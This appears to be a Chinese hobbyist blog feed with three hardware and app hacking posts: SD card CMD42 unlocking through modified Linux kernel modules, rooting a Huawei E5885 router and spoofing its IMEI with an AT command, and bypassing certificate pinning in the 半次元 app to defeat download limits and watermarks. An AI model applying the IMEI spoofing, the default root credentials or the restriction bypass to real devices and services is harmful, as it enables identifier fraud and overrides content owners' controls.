struct mmc_ioc_cmd idata;
memset(&idata, 0, sizeof(idata));
idata.opcode = MMC_SET_BLOCKLEN;
idata.arg = blk_len;
idata.flags = MMC_RSP_R1 | MMC_CMD_AC;
ret = ioctl(fd, MMC_IOC_CMD, &idata);
return ret;
}
实际上是通过ioctl控制的,编译之后,可以上锁,但是再也无法解锁成功,只能换一种方式。
https://github.com/torvalds/linux/blob/master/include/uapi/linux/mmc/ioctl.h
1
2
3
4
5
6
7sudo ./mmc scr read /sys/bus/mmc/devices/mmc0:aaaa/
type: 'SD'
version: SD 3.0x
bus widths: 4bit, 1bit,
sudo ./mmc cmd42 123456 s /sys/bus/mmc/devices/mmc0:aaaa/
Set password: password=123456 ...
因为第三方工具无法实现,现在只能修改内核模块了。本人的操作系统是Arch Linux,MMC驱动属于内核模块,所以不需要重新编译整个内核。而不是像Ubuntu直接builtin。
Arch Linux的内核模块目录如下,我的电脑是HP 840G3,SD卡使用PCI通道,主要会涉及下面三个驱动。
1
2
3
4/lib/modules/$(uname -r)/kernel/drivers/mmc/core/mmc_core.ko.xz
/lib/modules/$(uname -r)/kernel/drivers/mmc/core/mmc_block.ko.xz
/lib/modules/$(uname -r)/kernel/drivers/mmc/host/rtsx_pci_sdmmc.ko.xz
/lib/modules/$(uname -r)/kernel/drivers/misc/cardreader/rtsx_pci.ko.xz
如果重新下载官方源码编译内核模块,会出现奇怪的错误。首先是vermagic匹配问题,内核版本,处理器特性不匹配则不允许挂载。因为Linux 3.7后加入了模块签名机制,可以通过modinfo查看系统自带的内核模块,没有签名会导致无法挂载。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$ modinfo mmc_core
filename: /lib/modules/4.18.10-arch1-1-ARCH/kernel/drivers/mmc/core/mmc_core.ko.xz
license: GPL
srcversion: 72D2DBEB18AB4B898BE5331
depends:
retpoline: Y
intree: Y
name: mmc_core
vermagic: 4.18.10-arch1-1-ARCH SMP preempt mod_unload modversions
sig_id: PKCS#7
signer:
sig_key:
sig_hashalgo: md4
signature: 30:82:02:A5:06:09:2A:86:48:86:F7:0D:01:07:02:A0:82:02:96:30
以下省略
parm: use_spi_crc:bool
我们可以在/usr/lib/modules/$(uname -r)/build/目录进行编译,无需另外配置。只需要把MMC的core代码拷贝到目标目录下。就可以直接make,然后重新挂载MMC内核模块驱动。
1
2
3
4
5
6
7cp ./core/* /usr/lib/modules/$(uname -r)/build/drivers/mmc/core/
make modules SUBDIRS=drivers/mmc/core
Building modules, stage 2.
MODPOST 7 modules
rmmod rtsx_pci_sdmmc && rmmod mmc_core
insmod /usr/lib/modules/$(uname -r)/build/drivers/mmc/core/mmc_core.ko
insmod /lib/modules/$(uname -r)/kernel/drivers/mmc/host/rtsx_pci_sdmmc.ko.xz
在mmc_ops.h加入unlock_mmc声明
1
int unlock_mmc(struct mmc_card *card, u8* key_buf,int key_len);
随后编写具体实现,首先设定块长度,随后发送CMD42 ADTC命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75int unlock_mmc(struct mmc_card *card, u8* key_buf,int key_len)
{
int err;
int block_size = key_len + 2;
struct mmc_request mrq;
struct mmc_command cmd_sbl;
struct mmc_command cmd;
struct mmc_data data;
struct scatterlist sg;
u8 *data_buf = NULL;
/*------------CMD 16----------------*/
// 1 byteflag + 1 byte password length + 16 bytes password
memset(&cmd_sbl, 0, sizeof(struct mmc_command));
cmd_sbl.opcode = MMC_SET_BLOCKLEN;
cmd_sbl.arg = block_size;
cmd_sbl.flags = MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd_sbl, MMC_CMD_RETRIES);
if (err)
{
printk("%s failed block_size=%d \n",__func__,block_size);
goto out;
}
/*-----------CMD 42-----------------*/
// CMD
memset(&cmd, 0, sizeof(struct mmc_command));
cmd.opcode = MMC_LOCK_UNLOCK; // CMD 42
cmd.arg = 0; // set all 0 for cmd42 arg
cmd.flags = MMC_RSP_R1 | MMC_CMD_ADTC;
// Data
memset(&data, 0, sizeof(struct mmc_data));
data.timeout_ns = (2*1000*1000*1000);
data.blksz = block_size;
data.blocks = 1;
data.flags = MMC_DATA_WRITE;
data.sg = &sg;
data.sg_len = 1;
mmc_set_data_timeout(&data, card);
memset(&mrq, 0, sizeof(struct mmc_request));
mrq.cmd = &cmd;
mrq.data = &data;
// Set Data for DMA
data_buf = kzalloc(block_size, GFP_KERNEL);
if (!data_buf)
{
printk("%s kzalloc failed\n",__func__);
return -ENOMEM;
}
memset(data_buf, 0, block_size);
data_buf[0] = 0;
data_buf[1] = key_len;
memcpy(data_buf + 2, key_buf, key_len);
sg_init_one(&sg, data_buf, block_size);
// request
mmc_wait_for_req(card->host, &mrq);
err = cmd.error;
if (err)
printk("%s: unlock cmd error %d\n", __func__, cmd.error);
else
err = data.error;
if(err)
goto out;
printk("[SDLOCK] %s MMC_LOCK_UNLOCK \r\n",__func__);
out:
kfree(data_buf);
return err;
}
在sd.c的mmc_sd_setup_card之前,加入解锁功能。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62// 检查是否上锁
u32 status = 0;
err = mmc_send_status(card, &status);
if (err)
goto free_card;
if (status & R1_CARD_IS_LOCKED)
{
mmc_card_set_encrypted(card);
mmc_card_set_locked(card);
}
//方便调试
bool auto_unlock = true;
char unlock_pwd[16] = {0x5f,0xfc,0xa1,0x9f,0xfc,0xdb,0x58,0x99,0xa8,0x2c,0x4e,0x26,0x5f,0x99,0xc7,0x6b};
if (status & R1_CARD_IS_LOCKED) {
if(auto_unlock)
{
//unlock sd card
err = unlock_mmc(card, unlock_pwd, 16);
if(err)
{
printk("[SDLOCK] %s unlock failed \n",__func__);
}
else
{
printk("[SDLOCK] %s unlock success \n",__func__);
if(!mmc_card_locked(card))
{
auto_unlock = false;
printk("[SDLOCK] %s unlock success and sdcard status is unlocked.\n",__func__);
}
else
{
printk("[SDLOCK] %s unlock success but sdcard status is locked, abnormal status.\n",__func__);
}
}
//Check if card is locked
err = mmc_send_status(card, &status);
if (err)
{
printk("[SDLOCK] %s resume sd card exception /n",__func__);
goto free_card;
}
}
if (status & R1_CARD_IS_LOCKED)
{
printk(KERN_WARNING "[SDLOCK] sdcard is locked\n");
goto done;
}
else
{
printk(KERN_WARNING "[SDLOCK] sdcard resume to unlocked\n");
}
}
else
{
printk(KERN_WARNING "[SDLOCK] sdcard is unlocked\n");
}
在card.h加入宏定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
在core.c的mmc_wait_for_req_done插桩调试,随后通过dmesg查看记录
1
printk("[mmc] CMD %d err number: %d", mrq->cmd->opcode, mrq->cmd->error);
UHS-I(Ultra High Speed Phase I,超高速)是实现 SDHC 和 SDXC 卡高速数据传输的的总线接口。支持LVS,有七种操作模式。
首先用CMD0选择总线模式:SPI模式和SD模式。1.8V的信号模式只能进入SD模式。
可以看到并没有解锁成功,在CMD42出现了-22的错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36$ dmesg -l 0,1,2,3,4,5,6,7
[62696.072102] [mmc] CMD 52 err number: -110
[62696.175620] [mmc] CMD 52 err number: -110
[62696.177592] [mmc] CMD 0 err number: 0
[62696.181590] [mmc] CMD 8 err number: 0
[62696.282033] [mmc] CMD 5 err number: -110
[62696.385534] [mmc] CMD 5 err number: -110
[62696.492060] [mmc] CMD 5 err number: -110
[62696.595641] [mmc] CMD 5 err number: -110
[62696.596514] [mmc] CMD 55 err number: 0
[62696.597226] [mmc] CMD 41 err number: 0
[62696.626822] [mmc] CMD 0 err number: 0
[62696.630372] [mmc] CMD 8 err number: 0
[62696.631051] [mmc] CMD 55 err number: 0
[62696.631758] [mmc] CMD 41 err number: 0
[62696.642862] [mmc] CMD 55 err number: 0
[62696.643590] [mmc] CMD 41 err number: 0
[62696.656036] [mmc] CMD 55 err number: 0
[62696.656752] [mmc] CMD 41 err number: 0
[62696.669827] [mmc] CMD 55 err number: 0
[62696.670711] [mmc] CMD 41 err number: 0
[62696.683086] [mmc] CMD 55 err number: 0
[62696.683976] [mmc] CMD 41 err number: 0
[62696.685084] [mmc] CMD 2 err number: 0
[62696.685781] [mmc] CMD 3 err number: 0
[62696.686493] [mmc] CMD 13 err number: 0
[62696.687827] [mmc] CMD 9 err number: 0
[62696.688551] [mmc] CMD 7 err number: 0
[62696.689227] [mmc] CMD 16 err number: 0
[62696.690033] [mmc] CMD 42 err number: -22
[62696.690041] unlock_mmc: unlock cmd error -22
[62696.690045] [SDLOCK] mmc_sd_init_card unlock failed
[62696.690749] [mmc] CMD 13 err number: 0
[62696.690755] [SDLOCK] sdcard is locked
[62696.690773] mmc0: new SD card at address f317
[62696.691709] mmcblk0: mmc0:f317 MF02B 1.88 GiB
Linux系统错误号-22即EINVAL。最后跟到了drivers/mmc/host/sdhci.c里
1
2
3
4
5
6
7
8
9
10
11
12
13
14filename: drivers/mmc/core/core.c
functions:
mmc_wait_for_req -> __mmc_start_request -> host->ops->request
filename: drivers/mmc/host/rtsx_pci_sdmmc.c
functions:
sdmmc_request -> schedule_work -> sd_request -> sd_send_cmd_get_rsp -> sd_normal_rw -> sd_write_data -> rtsx_pci_write_ppbuf -> rtsx_pci_send_cmd
filename: drivers/misc/cardreader/rtsx_pcr.c
rtsx_pci_write_ppbuf
rtsx_pci_add_cmd
rtsx_pci_send_cmd
因为是笔记本电脑,所以相关命令在Realtek的SD读卡器驱动里,而在手机中是drivers/mfd/rtsx_pcr.c。
1
2
3
4
5
6
7int rtsx_pci_send_cmd(struct rtsx_pcr *pcr, int timeout)
{
...
if (pcr->trans_result == TRANS_RESULT_FAIL)
err = -EINVAL;
...
}
1
2cp ./drivers/misc/cardreader/* /usr/lib/modules/$(uname -r)/build/drivers/misc/cardreader/
make modules SUBDIRS=drivers/misc/cardreader
通过打印rtsx_pci_add_cmd的参数,可以确定传入的key没有错误
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75sd_cmd_set_sd_cmd
[75754.016095] [rtsx] cmd_type:1, reg_addr:fda9, ptr:0x50, val:2108292944 SD_CMD0 16
[75754.016100] [rtsx] cmd_type:1, reg_addr:fdaa, ptr:0x0, val:2108358400 SD_CMD1
[75754.016104] [rtsx] cmd_type:1, reg_addr:fdab, ptr:0x0, val:2108423936 SD_CMD2
[75754.016111] [rtsx] cmd_type:1, reg_addr:fdac, ptr:0x0, val:2108489472 SD_CMD3
[75754.016115] [rtsx] cmd_type:1, reg_addr:fdad, ptr:0x12, val:2108555026 SD_CMD4 0x12
sd_send_cmd_get_rsp
[75754.016119] [rtsx] cmd_type:1, reg_addr:fda1, ptr:0x1, val:2107768577 WRITE_REG_CMD SD_CFG2
[75754.016122] [rtsx] cmd_type:1, reg_addr:fd5b, ptr:0x1, val:2103116033 CARD_DATA_SOURCE
[75754.016126] [rtsx] cmd_type:1, reg_addr:fdb3, ptr:0x88, val:2108948360 WRITE_REG_CMD SD_TRANSFER
[75754.016130] [rtsx] cmd_type:2, reg_addr:fdb3, ptr:0x60, val:-1112317856 CHECK_REG_CMD SD_TRANSFER
[75754.016134] [rtsx] cmd_type:0, reg_addr:fda9, ptr:0x0, val:1034485760 sd_cmd_set_sd_cmd 0
[75754.016138] [rtsx] cmd_type:0, reg_addr:fdaa, ptr:0x0, val:1034551296 SD_CMD1
[75754.016142] [rtsx] cmd_type:0, reg_addr:fdab, ptr:0x0, val:1034616832 SD_CMD1
[75754.016146] [rtsx] cmd_type:0, reg_addr:fdac, ptr:0x0, val:1034682368 SD_CMD2
[75754.016150] [rtsx] cmd_type:0, reg_addr:fdad, ptr:0x0, val:1034747904 SD_CMD3
[75754.016153] [rtsx] cmd_type:0, reg_addr:fda3, ptr:0x0, val:1034092544 SD_STAT1
sd_cmd_set_sd_cmd
[75754.016787] [SDLOCK] unlock_mmc MMC_SET_BLOCKLEN 18
[75754.016820] [rtsx] cmd_type:1, reg_addr:fda9, ptr:0x6a, val:2108292970 SD_CMD0 42
[75754.016823] [rtsx] cmd_type:1, reg_addr:fdaa, ptr:0x0, val:2108358400 SD_CMD1
[75754.016826] [rtsx] cmd_type:1, reg_addr:fdab, ptr:0x0, val:2108423936 SD_CMD2
[75754.016829] [rtsx] cmd_type:1, reg_addr:fdac, ptr:0x0, val:2108489472 SD_CMD3
[75754.016831] [rtsx] cmd_type:1, reg_addr:fdad, ptr:0x0, val:2108555008 SD_CMD4
[75754.016834] [rtsx] cmd_type:1, reg_addr:fda1, ptr:0x1, val:2107768577 WRITE_REG_CMD SD_CFG2
[75754.016837] [rtsx] cmd_type:1, reg_addr:fd5b, ptr:0x1, val:2103116033 CARD_DATA_SOURCE
[75754.016839] [rtsx] cmd_type:1, reg_addr:fdb3, ptr:0x88, val:2108948360 WRITE_REG_CMD SD_TRANSFER
[75754.016842] [rtsx] cmd_type:2, reg_addr:fdb3, ptr:0x60, val:-1112317856 CHECK_REG_CMD SD_TRANSFER
[75754.016845] [rtsx] cmd_type:0, reg_addr:fda9, ptr:0x0, val:1034485760 sd_cmd_set_sd_cmd 0
[75754.016848] [rtsx] cmd_type:0, reg_addr:fdaa, ptr:0x0, val:1034551296 SD_CMD1
[75754.016851] [rtsx] cmd_type:0, reg_addr:fdab, ptr:0x0, val:1034616832 SD_CMD2
[75754.016854] [rtsx] cmd_type:0, reg_addr:fdac, ptr:0x0, val:1034682368 SD_CMD3
[75754.016856] [rtsx] cmd_type:0, reg_addr:fdad, ptr:0x0, val:1034747904 SD_CMD4
[75754.016862] [rtsx] cmd_type:0, reg_addr:fda3, ptr:0x0, val:1034092544 SD_STAT1
write data
[75754.017492] [rtsx] cmd_type:1, reg_addr:fa00, ptr:0x0, val:2046885632
[75754.017496] [rtsx] cmd_type:1, reg_addr:fa01, ptr:0x10, val:2046951184
[75754.017499] [rtsx] cmd_type:1, reg_addr:fa02, ptr:0x5f, val:2047016799
[75754.017502] [rtsx] cmd_type:1, reg_addr:fa03, ptr:0xfc, val:2047082492
[75754.017505] [rtsx] cmd_type:1, reg_addr:fa04, ptr:0xa1, val:2047147937
[75754.017508] [rtsx] cmd_type:1, reg_addr:fa05, ptr:0x9f, val:2047213471
[75754.017511] [rtsx] cmd_type:1, reg_addr:fa06, ptr:0xfc, val:2047279100
[75754.017513] [rtsx] cmd_type:1, reg_addr:fa07, ptr:0xdb, val:2047344573
[75754.017518] [rtsx] cmd_type:1, reg_addr:fa08, ptr:0x58, val:2047410008
[75754.017521] [rtsx] cmd_type:1, reg_addr:fa09, ptr:0x99, val:2047475609
[75754.017524] [rtsx] cmd_type:1, reg_addr:fa0a, ptr:0xa8, val:2047541160
[75754.017526] [rtsx] cmd_type:1, reg_addr:fa0b, ptr:0x2c, val:2047606572
[75754.017529] [rtsx] cmd_type:1, reg_addr:fa0c, ptr:0x4e, val:2047672142
[75754.017531] [rtsx] cmd_type:1, reg_addr:fa0d, ptr:0x26, val:2047737638
[75754.017534] [rtsx] cmd_type:1, reg_addr:fa0e, ptr:0x5f, val:2047803231
[75754.017537] [rtsx] cmd_type:1, reg_addr:fa0f, ptr:0x99, val:2047868825
[75754.017539] [rtsx] cmd_type:1, reg_addr:fa10, ptr:0xc7, val:2047934407
[75754.017542] [rtsx] cmd_type:1, reg_addr:fa11, ptr:0x6b, val:2047999851
sd_cmd_set_block_len
[75754.017569] [rtsx] cmd_type:1, reg_addr:fdb1, ptr:0x1, val:2108817153 SD_BLOCK_CNT_L 1
[75754.017572] [rtsx] cmd_type:1, reg_addr:fdb2, ptr:0x0, val:2108882688 SD_BLOCK_CNT_H
[75754.017575] [rtsx] cmd_type:1, reg_addr:fdaf, ptr:0x12, val:2108686098 SD_BYTE_CNT_L 18
[75754.017577] [rtsx] cmd_type:1, reg_addr:fdb0, ptr:0x0, val:2108751616 SD_BYTE_CNT_H
[75754.017580] [rtsx] cmd_type:1, reg_addr:fda1, ptr:0x0, val:2107768576 WRITE_REG_CMD SD_CFG2
[75754.017583] [rtsx] cmd_type:1, reg_addr:fdb3, ptr:0x81, val:2108948353 WRITE_REG_CMD SD_TRANSFER
[75754.017585] [rtsx] cmd_type:2, reg_addr:fdb3, ptr:0x40, val:-1112326080 CHECK_REG_CMD SD_TRANSFER
1
sudo dd bs=4M if=/home/cygnus/IMG/2018-06-27-raspbian-stretch-lite/2018-06-27-raspbian-stretch-lite.img of=/dev/mmcblk0 status=progress conv=fsync
下载对应版本的树莓派源代码,并把工具链加入环境变量
1
2git clone --depth=1 --branch rpi-4.14.y https://github.com/raspberrypi/linux
export PATH=$PATH:/home/cygnus/git/rapi-tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin
使用BCM2709配置,并在MENU CONFIG里把SD卡驱动和MMC驱动变为内核模块形式。最后编译zImage,模块,设备树,然后更新SD卡里的文件。kernel.img is used by RPi 1B, 1A, A+, B+, 2B (first version) Z, Z (with camera), ZW, CM1kernel7.img is used by the RPi2B2, RPi3B, CM3 and CM3L.
1
2
3
4
5KERNEL=kernel7
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcm2709_defconfig
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- menuconfig
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- -j16 zImage modules dtbs
sudo make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- INSTALL_MOD_PATH=/run/media/cygnus/rootfs modules_install
更新内核
1
2sudo cp /run/media/cygnus/boot/$KERNEL.img /run/media/cygnus/boot/$KERNEL-backup.img
sudo cp arch/arm/boot/zImage /run/media/cygnus/boot/$KERNEL.img
更新设备树
1
2sudo cp arch/arm/boot/dts/*.dtb /run/media/cygnus/boot/
sudo cp arch/arm/boot/dts/overlays/*.dtb* /run/media/cygnus/boot/overlays/
在boot config加入下面配置
1
dtoverlay=sdio,poll_once=off
Name | SD Card | Raspberry Pi Pin Num |
---|---|---|
VCC | 4 | 17 |
GND | 6 | 20 |
CLK/SCLK | 5 | 15 |
CMD/MOSI | 2 | 16 |
DAT0/MISO | 7 | 18 |
DAT1 | 8 | 22 |
DAT2 | 9 | 37 |
DAT3/CS | 1 | 13 |
SD Simplified SpecificationsWiki - Secure_DigitalSD Standard Overview
]]>平时出差会用上4G网卡,这款4G路由器太好用了,支持LTE,UMTS,GSM,可以作为充电宝、路由器、上网卡,支持无线有线。通过破解可以自定义IMEI,绕过ICCID与IMEI绑定限制,逃避网络审查。
拿到手之后第一件事就是拆开,找UART口,可以打印出log,但是发现被密码保护了,长度8位,没办法通过读取NVram的方式解开密码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41þ
onchip
SEB_SecureInit OK, lcs = 7
SOC_ID: 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
NF id boot!
NF ID 0x98AA9015 0x76160800
NF pagesz 0x00000800B,pagenm 0x00000040,oobsz 0x00000058B,ecc 0x00000008,addrnum 0x00000005,chipsz 0x00000100MB
nand spec save to 0x74650131
len 0x00004888
SEB_XloaderVerification ok.
mddrc init ok
code_base = 0x00000055
code_tsensor = 0x0000005A
code_base_high = 0x00000000
code_tsensor_high = 0x00000000
trim_a = 0x00000400
trim_b = 0xFFFFFB00
123
boot fastboot from fastboot
SEB_XloaderVerification ok.
CHG:read NV success,mode=1
[00000422ms] CHG:read NV success,mode=1
[0000042Ems] CHG:exception_poweroff_poweron_enable=0
[00000430ms] CHG:no_battery_powerup_enable=0
[00000434ms] CHG:chg_boot_chip_init
[00000437ms] CHARGE INIT SUCCESS!
[0000043Dms]hkadc_bbp_convert read battery id voltage return volt=726
[00000440ms][zcw_test]:boot_bq27510 read temp val_low = 0000009b; val_high = 0000000b!
[00000448ms][zcw_test]:boot_bq27510 read temp batt_temp = 00000b9b!
[0000044Ems][zcw_test]:boot_bq27510 read temp val_low = 0000009b; val_high = 0000000b!
[00000456ms][zcw_test]:boot_bq27510 read temp batt_temp = 00000b9b!
[0000045Cms][zcw_test]:boot_bq27510 read volt val_low = 00000044; val_high = 0000000f!
[00000463ms][zcw_test]:boot_bq27510 read volt batt_volt = 00000f44!
[00000469ms]PRE-CHG: trickle charg batt only batt_voltage=3908
[0000046Fms] [zcw_test]:boot_bq27510 read volt val_low = 00000044; val_high = 0000000f!
[00000477ms][zcw_test]:boot_bq27510 read volt batt_volt = 00000f44!
[0000047Dms]EXTCHG:ext-charge limit to 2A in boot!!
[00000579ms]Hello Welcom to input password
Password:
ValdikSS破解了E5885L,在4PDA上面编写了破解教程,传送门:
4PDA - Huawei E5885 (WiFi Pro 2 / WiFi 2 Pro) - discussion
实际上破解的原理是得到了固件的结构布局,结构布局有很多种方式获取:逆向PC端升级过程,从其他相似型号获得特征,直接提取编程器固件(成本太高)。Balong系列比较通用,一款设备的固件布局结构也可以用在其他设备上。通过修改了官方升级包,将带有telnet和adb调试功能的固件刷回去,
将这个测试点(boot pin)和GND短接,插上USB线并连到电脑,就可以进入下载模式。因为暂时没有镊子了,测试点太小手不够,只能直接飞线。
使用forth32编写的balong-usbdload,编译并刷入usbload。原理是通过串口向USB设备写数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15./balong-usbdload -h
Утилита предназначена для аварийной USB-загрузки устройств на чипете Balong V7
./balong-usbdload [ключи] <имя файла для загрузки>
Допустимы следующие ключи:
-p <tty> - 设备名 (默认 /dev/ttyUSB0)
-f - 仅将usbloader加载到fastboot(不运行Linux)
-b - 擦除时不检查错误
-t <file>- 从指定文件中读取分区表
-m - 显示引导加载程序分区表并完成工作
-s n - 设置分区n的文件标志(可以多次指定密钥)
-c - 不要自动修补分区擦除
进入下载模式
刷写usbloader,Win下需要安装驱动,驱动等下载地址放在文章结尾。
1
sudo balong_usbdload usbloader-e5885.bin
下载balongflash,刷写ValdikSS的修改版固件
forth32还编写了一个GUI的固件自定义工具qhuaweiflash,俄罗斯人的技术实力很强。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$ ./balong_flash -h
Утилита предназначена для прошивки модемов на чипсете Balong V7
./balong_flash [ключи] <имя файла для загрузки или имя каталога с файлами>
Допустимы следующие ключи:
-p <tty> - 设备名 (默认 /dev/ttyUSB0)
-n - 指定目录中的多文件固件模式
-g# - 设置数字签名模式
-gl - 参数说明
-gd - 禁止自动检测签名
-m - 显示固件文件并退出
-e - 将固件文件反汇编成不带标题的部分
-s - 将固件文件反汇编成带标题的部分
-k - 请勿在固件刷写结束时重新启动基带
-r - 强制重新启动基带而不刷写分区
-f - 就算CRC错误也强制刷写
-d# - 安装固件类型(DLOAD_ID,0..7), - dl - 类型列表
1
sudo balong_flash E5885Ls-93a_Update_21.236.05.00.00_mod1.2.bin
刷完usbloader之后,可以使用balong_flash刷写任意固件。但是NVRAM会被清除,导致无法上网,所以需要恢复NVRAM。
1
2
3mount /dev/block/mmcblk0p1 /sdcard
cd /sdcard
for i in 3 4 5 6 7 23; do cat mtdblock$i > /dev/block/mtdblock$i; done
然后可以通过adb和telnet得到shell,默认帐号密码是 root/changemerightnow
ValdikSS编写了修改OLED显示菜单的工具,原理是修改原先oled程序的链接库,劫持sprintf设置自定义菜单,劫持register_notify_handler处理按钮事件,重定向到指定脚本。我们可以在其基础之上添加自定义功能。
项目地址:https://github.com/ValdikSS/huawei_oled_hijack
首先参考我之前写的eSIM学习笔记,里面有提到eSIM飞线的攻击方式。
在飞线之前,先查看原本的IMEI
1
2
3E5885Ls-93aroot@p722:/ # imei
/system/bin/imei [VALUE]
Current IMEI: 358731070934433
ValdikSS版固件每次开机都会更换IMEI,也可手动修改为指定IMEI,可以用现成工具修改为目标设备IMEI,重启后生效。切换网络,切换模式等功能也是通过AT命令执行。
1
2
3imei 864758031772807
or
echo -e "AT^CIMEI=864758031772807" > /dev/appvcom
最后在Web配置菜单填上APN配置参数
备份是一个好习惯,首先插入microSD卡,然后挂载分区,将nandflash中的分区保存到SD卡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22/system/busybox sh
mount /dev/block/mmcblk0p1 /sdcard
cd /sdcard
mkdir mtdblocks
cd mtdblocks
for i in `seq 0 27`; do cat /dev/block/mtdblock$i > mtdblock$i; done
cd ..
mkdir nanddump
cd nanddump
for i in `seq 0 27`; do nanddump -f mtd$i /dev/mtd/mtd$i; done
for i in `seq 0 27`; do nanddump -o -f mtdoob$i /dev/mtd/mtd$i; done
cd ..
tar cf files.tar /system /app /data /root /modem_log /modem_fw /online /mnvm2:0
cat /proc/mtd > procmtd
cat /proc/kallsyms > kallsyms
mount > mount
cd /
umount /sdcard
要下载文件,必须注册4PDA论坛,而验证码就把我给拦住了,于是学了一下俄语数字。4PDA的验证码中,м和т一定概率互换,如下图验证码,是六千七百三十一шесть тысяч семьсот тринадцать Один
其实很简单,对照下面整理的字母表和数字单词就行了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49一 Один ("a-deen")
二 два ("dva")
三 три ("tree")
四 четыре ("chye-tir-ye")
五 пять ("pyat")
六 шесть ("shest")
七 семь ("syem")
八 восемь ("vo-syem")
九 девять ("dyev-yat")
十 десять ("dyes-yat")
二十 Двадцать
三十 тридцать
四十 сорок
五十 пятьдесят
六十 шестьдесят
七十 семьдесят
八十 восемьдесят
九十 девяносто
十一 Одиннадцать
十二 двенадцать
十三 тринадцать
十四 четырнадцать
十五 пятнадцать
十六 шестнадцать
十七 семнадцать
十八 восемнадцать
十九 девятнадцать
一百 Сто
二百 двести
三百 триста
四百 четыреста
五百 пятьсот
六百 шестьсот
七百 семьсот
八百 восемьсот
九百 девятьсот
一千 Тысяча
两千 две тысячи
三千 три тысячи
四千 четыре тысячи
五千 пять тысяч
六千 шесть тысяч
七千 семь тысяч
八千 восемь тысяч
九千 девять тысяч
4PDA - Huawei E5885 (WiFi Pro 2 / WiFi 2 Pro) - discussionbalongflash - Githubbalong-usbdload - Githubqhuaweiflash - Githubhuawei_oled_hijack - Github驱动和固件的下载地址 - https://mega.nz/#F!aoZkxAqR
]]>最近吃饭的时候都在刷半次元,Cosplay区太多漂亮的小姐姐,可惜图片加了水印,并且有的图片不允许下载,不能方便随时欣赏,太煞心情了。最近经常转发漂亮的小姐姐给朋友们,但是带了水印,被大家发现我沉迷半次元了。很是困扰,打算绕过这些限制。
半次元使用了HTTPS通信,以及使用了证书绑定(HPKP),通过使用Xposed框架的JustTrustMe插件,可以绕过证书验证。
于是使用BurpSuite抓包。
分析Response可以得知,download为false是禁止下载的标识。图片的路径添加了imageMogr2后缀,即七牛云的高级图片处理,因为这两个内容都是写死在HTTP响应里的,所以只hook响应内容也是一个不错的方法。
使用JADX-GUI打开半次元的APK,发现代码被混淆,网络请求使用了Volley框架。
查阅官方文档,实现一个请求需要设置RequestQueue,然后使用onResponse处理响应事件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35RequestQueue mRequestQueue;
// Instantiate the cache
Cache cache = new DiskBasedCache(getCacheDir(), 1024 * 1024); // 1MB cap
// Set up the network to use HttpURLConnection as the HTTP client.
Network network = new BasicNetwork(new HurlStack());
// Instantiate the RequestQueue with the cache and network.
mRequestQueue = new RequestQueue(cache, network);
// Start the queue
mRequestQueue.start();
String url ="http://www.example.com";
// Formulate the request and handle the response.
StringRequest stringRequest = new StringRequest(Request.Method.GET, url,
new Response.Listener<String>() {
public void onResponse(String response) {
// Do something with the response
}
},
new Response.ErrorListener() {
public void onErrorResponse(VolleyError error) {
// Handle error
}
});
// Add the request to the RequestQueue.
mRequestQueue.add(stringRequest);
// ...
根据抓包的结果,可以提取出下列关键词。
1
2
3
4image/postCover
download
multi
path
在这里以URL中的image/postCover
为关键词,全局搜索,被封装在m1750b方法里。然后找到调用它的代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public void m6896a(DetailType detailType, final C2271b c2271b) {
if (detailType != null) {
final Context context = (Context) this.f6216a.get();
if (context != null) {
// image/postCover 字符串拼接
String str = HttpUtils.f7520b + C0701m.m1750b();
List arrayList = new ArrayList();
arrayList.add(new C2753c("session_key", C0766a.m2185b(context).getToken()));
arrayList.add(new C2753c("id", detailType.getItem_id()));
arrayList.add(new C2753c("type", detailType.getType()));
this.f6217b.add(new C2764l(1, str, HttpUtils.m8132a(arrayList), new Listener<String>(this) {
/* renamed from: c */
final /* synthetic */ C2296a f6186c;
public /* synthetic */ void onResponse(Object obj) {
m6855a((String) obj);
}
/* renamed from: a */
public void m6855a(String str) {
// 判断 status 是否为1,如果为1则执行mo2699a。
if (C2763k.m8211a(str, context).booleanValue()) {
c2271b.mo2699a(str);
} else {
c2271b.mo2700b("");
}
}
}, new ErrorListener(this) {
